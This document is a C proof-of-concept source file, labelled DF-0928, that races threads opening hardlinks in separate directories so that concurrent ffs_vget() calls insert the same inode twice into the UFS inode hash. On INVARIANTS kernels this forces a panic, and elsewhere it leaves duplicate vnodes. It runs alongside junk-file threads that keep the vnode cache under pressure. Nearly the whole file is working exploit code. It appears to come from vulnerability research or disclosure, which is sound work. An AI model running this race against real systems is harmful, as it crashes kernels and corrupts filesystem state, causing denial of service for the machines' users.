DF-0928 / race_ufs_ihash.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 | /* * race_ufs_ihash.c - DF-0928 PoC: race concurrent ffs_vget() for the same * inode to force a dual ufs_ihashins store, orphaning * one inode. On INVARIANTS kernels the orphan trips * KKASSERT(ip == iq) at ufs_ihash.c:184 when reclaimed. * * WHY HARDLINKS: ufs_lookup() (ufs_lookup.c:480) calls VFS_VGET while * holding the parent-directory vnode lock โ so concurrent opens of the * same PATH are serialized by that lock. But two hardlinks to the same * inode, living in DIFFERENT directories, are resolved through different * parent-directory locks. Both call VFS_VGET for the same inode number * concurrently, with no serialization, racing into ufs_ihashins. * * Strategy: * 1. Create NDIRS directories + 1 target file + a hardlink into each dir. * 2. Run junk-file-creator threads to maintain vnode-cache pressure * (forcing inode reclaim/ihashrem between rounds). * 3. Race NTHR threads that open() the different hardlink paths after * a barrier โ all VFS_VGET calls for the same inode race. * 4. Repeat until a panic or round-limit. * * The window between ufs_ihashget-miss and ufs_ihashins-store in ffs_vget * spans kmalloc(M_WAITOK) + getnewvnode() (both blocking), so it is wide. * * Build: cc -O2 -pthread -o race_ufs_ihash race_ufs_ihash.c * Run: ./race_ufs_ihash /mnt/ufs_test (must be a UFS/FFS mount) * Pre: sysctl kern.maxvnodes=512 (root, to force vnode recycling) */ #define _GNU_SOURCE #include <pthread.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <sys/resource.h> #include <errno.h> #include <time.h> static const char *BASE = "/mnt/ufs_test"; static int NTHR = 8; /* racing open threads */ static int NDIRS = 8; /* directories with hardlinks */ static int NROUNDS = 50000; /* race rounds */ static int NJUNK = 200; /* junk files per round for vnode pressure */ static pthread_barrier_t bar; static char paths[64][256]; /* Junk-file creator: keeps vnode cache under pressure so target vnodes * get reclaimed (ufs_reclaim -> ufs_ihashrem) between rounds. */ static void * junker(void *a) { long round = (long)a; char p[256]; for (int j = 0; j < NJUNK; j++) { snprintf(p, sizeof p, "%s/.junk_%ld_%d", BASE, round, j); int x = open(p, O_CREAT | O_RDWR, 0600); if (x >= 0) close(x); unlink(p); } return NULL; } /* Racer: open() a hardlink path to force ffs_vget for the shared inode. */ static void * racer(void *a) { int idx = (int)(long)a; pthread_barrier_wait(&bar); for (int i = 0; i < 500; i++) { int fd = open(paths[idx], O_RDONLY); if (fd >= 0) close(fd); } return NULL; } static void drop_caches_hint(void) { /* Open many distinct files briefly to encourage vnode recycling. */ char p[256]; for (int j = 0; j < NJUNK; j++) { snprintf(p, sizeof p, "%s/.drop_%d", BASE, j); int x = open(p, O_CREAT | O_RDWR, 0600); if (x >= 0) close(x); unlink(p); } } int main(int argc, char **argv) { if (argc > 1) BASE = argv[1]; if (argc > 2) NROUNDS = atoi(argv[2]); struct rlimit rl; rl.rlim_cur = rl.rlim_max = 8192; setrlimit(RLIMIT_NOFILE, &rl); /* Verify it's a UFS mount by checking we can create hardlinks. */ char t[512]; snprintf(t, sizeof t, "%s/probe", BASE); if (creat(t, 0600) < 0) { perror("creat probe โ is BASE a writable UFS mount?"); return 2; } char t2[512]; snprintf(t2, sizeof t2, "%s/probe_link", BASE); if (link(t, t2) != 0) { perror("link โ hardlinks unsupported?"); return 2; } unlink(t); unlink(t2); printf("DF-0928: racing %d threads x %d dirs on UFS mount %s, %d rounds\n", NTHR, NDIRS, BASE, NROUNDS); fflush(stdout); for (int round = 0; round < NROUNDS; round++) { /* Set up: create target file + hardlinks in NDIRS separate dirs. */ snprintf(t, sizeof t, "%s/target_%d", BASE, round); int fd = open(t, O_CREAT | O_EXCL | O_WRONLY, 0600); if (fd < 0) { if (errno == EEXIST) continue; perror("creat target"); continue; } close(fd); for (int d = 0; d < NDIRS; d++) { char dir[256]; snprintf(dir, sizeof dir, "%s/dir_%d", BASE, d); mkdir(dir, 0700); char hl[256]; snprintf(hl, sizeof hl, "%s/hl_%d", dir, round); if (link(t, hl) != 0) { /* ignore */ } if (d < NTHR) strncpy(paths[d], hl, sizeof(paths[d])-1); } /* Make sure NTHR <= NDIRS */ if (NTHR > NDIRS) NTHR = NDIRS; /* Drop target vnode from cache via pressure. */ drop_caches_hint(); /* Race. */ pthread_barrier_init(&bar, NULL, NTHR); pthread_t th[64]; for (int k = 0; k < NTHR; k++) pthread_create(&th[k], NULL, racer, (void *)(long)k); /* Also run a junker in parallel to force reclaim during the race. */ pthread_t jt; pthread_create(&jt, NULL, junker, (void *)(long)round); for (int k = 0; k < NTHR; k++) pthread_join(th[k], NULL); pthread_barrier_destroy(&bar); pthread_join(jt, NULL); /* Cleanup. */ for (int d = 0; d < NDIRS; d++) { char dir[256], hl[256]; snprintf(dir, sizeof dir, "%s/dir_%d", BASE, d); snprintf(hl, sizeof hl, "%s/hl_%d", dir, round); unlink(hl); rmdir(dir); } unlink(t); if (round % 500 == 0) { printf(" round %d/%d\n", round, NROUNDS); fflush(stdout); } } printf("DF-0928: completed %d rounds without panic.\n", NROUNDS); /* Check for duplicate vnodes as a non-INVARIANTS indicator. */ printf("If running on a non-INVARIANTS kernel, check for duplicate vnodes:\n"); printf(" fstat | awk '{print $3}' | sort | uniq -d\n"); return 0; } |